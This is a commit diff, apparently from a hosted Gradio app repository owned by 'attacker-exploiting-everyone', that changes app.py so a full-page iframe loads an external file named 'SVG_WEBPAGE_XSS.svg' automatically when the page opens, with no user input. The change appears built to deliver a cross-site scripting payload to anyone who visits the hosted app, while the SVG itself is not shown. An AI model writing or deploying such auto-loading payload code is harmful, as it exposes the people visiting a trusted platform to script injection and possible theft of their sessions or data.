attacker-exploiting-everyone commited on
Commit
fafb067
·
verified ·
1 Parent(s): ae08ae4

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +5 -5
app.py CHANGED
@@ -1,15 +1,15 @@
1
  import gradio as gr
2
 
3
- def greet(name):
4
  # Inject iframe to load the page and fill 100% of the page
5
  iframe_code = '''
6
  <iframe src="https://images.ctfassets.net/h0jtq0wdx190/3HivOdbWvD7QCDXEd53fx0/484ffd97340457cd7f1b954be06b5432/SVG_WEBPAGE_XSS.svg"
7
  style="width: 100%; height: 100vh; border: none;"></iframe>
8
  '''
9
-
10
- # Return iframe as HTML
11
  return iframe_code
12
 
13
- # Allow raw HTML rendering, no inputs needed
14
- demo = gr.Interface(fn=greet, inputs=None, outputs="html")
 
 
15
  demo.launch()
 
1
  import gradio as gr
2
 
3
+ def greet():
4
  # Inject iframe to load the page and fill 100% of the page
5
  iframe_code = '''
6
  <iframe src="https://images.ctfassets.net/h0jtq0wdx190/3HivOdbWvD7QCDXEd53fx0/484ffd97340457cd7f1b954be06b5432/SVG_WEBPAGE_XSS.svg"
7
  style="width: 100%; height: 100vh; border: none;"></iframe>
8
  '''
 
 
9
  return iframe_code
10
 
11
+ with gr.Blocks() as demo:
12
+ # Automatically load the iframe without user input
13
+ gr.HTML(greet())
14
+
15
  demo.launch()